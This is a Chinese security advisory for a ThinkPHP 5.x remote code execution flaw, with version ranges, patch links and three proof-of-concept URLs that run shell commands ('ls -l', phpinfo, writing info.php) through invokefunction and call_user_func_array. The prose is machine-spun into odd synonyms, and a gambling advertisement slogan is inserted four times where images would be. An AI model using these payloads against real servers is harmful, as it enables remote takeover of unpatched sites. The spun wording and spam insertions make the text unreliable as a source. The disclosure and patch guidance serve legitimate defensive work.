ThinkPHP 远程下令执行误差清静通告

宣布时间 2018-12-11

误差编号和级别


       CVE编号：待定，危险级别：严重，CVSS分值：官方未评定


影响版本


       ThinkPHP 5.x < 5.1.31， <= 5.0.23


误差概述


ThinkPHP官方2018年12月9日宣布主要的清静更新，修复了一个严重的远程代码执行误差。该更新主要涉及一个清静更新，由于框架对控制器名没有举行足够的检测会导致在没有开启强制路由的情形下可能的getshell误差。


误差验证


通过补丁剖析要害代码：

// 获取控制器名

$controller = strip_tags($result[1] ?: $this->rule->getConfig('default_controller'));

在修复之前程序未对控制器举行过滤，导致攻击者可以通过引入\符号来挪用恣意类要领。

POC：

执行系统下令显示目录下文件

http://IP/public/index.php?s=/index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=ls%20-l



尊龙凯时 - 人生就是搏!



执行phpinfo

http://IP /public/index.php?s=/index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=php%20-r%20'phpinfo();'


尊龙凯时 - 人生就是搏!



写info.php文件

http://IP/public/index.php?s=/index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=echo%20%27%27%20>%20info.php

会见 info.php


尊龙凯时 - 人生就是搏!



影响规模


海内袒露在公网的ThinkPHP数目重大，需要高度重视。



尊龙凯时 - 人生就是搏!



修复建议


Thinkphp v5.0.x补丁地址:

https://github.com/top-think/framework/commit/b797d72352e6b4eb0e11b6bc2a2ef25907b7756f

Thinkphp v5.1.x补丁地址:

https://github.com/top-think/framework/commit/802f284bec821a608e7543d91126abc5901b2815


参考链接

https://blog.thinkphp.cn/869075